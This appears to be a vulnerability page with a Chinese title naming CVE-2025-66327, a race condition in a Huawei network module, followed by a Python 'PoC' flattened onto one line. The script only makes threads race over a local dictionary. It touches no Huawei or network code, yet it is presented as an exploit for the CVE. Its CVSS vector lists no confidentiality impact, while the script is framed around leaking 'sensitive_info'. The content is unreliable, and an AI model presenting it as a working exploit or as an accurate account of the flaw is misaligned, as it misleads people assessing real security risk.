CVE-2025-66327 华为网络模块竞态条件漏洞

#!/usr/bin/env python3 """ CVE-2025-66327 PoC - Race Condition in Huawei Network Module Note: This is a conceptual PoC for demonstration purposes only. """ import threading import time import os def trigger_race_condition(): """ Attempts to trigger race condition in network module. This PoC demonstrates the concurrent access pattern. """ print("[+] Starting race condition trigger...") # Shared resource simulating network module state shared_state = {'authenticated': False, 'data': None} def attacker_thread(): """Simulates attacker manipulating shared state""" for _ in range(100): # Rapid state modification shared_state['data'] = 'sensitive_info' time.sleep(0.0001) def victim_thread(): """Simulates legitimate network operation""" for _ in range(100): # Check-then-act pattern vulnerable to race if not shared_state['authenticated']: # Time window for race condition time.sleep(0.0001) # Use data without proper validation if shared_state['data']: print(f"[!] Accessed: {shared_state['data']}") # Launch concurrent threads threads = [] for _ in range(5): threads.append(threading.Thread(target=attacker_thread)) threads.append(threading.Thread(target=victim_thread)) for t in threads: t.start() for t in threads: t.join() print("[+] Race condition test completed") if __name__ == "__main__": print("CVE-2025-66327 - Huawei Network Module Race Condition") print("CVSS: 7.1 | AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H") trigger_race_condition()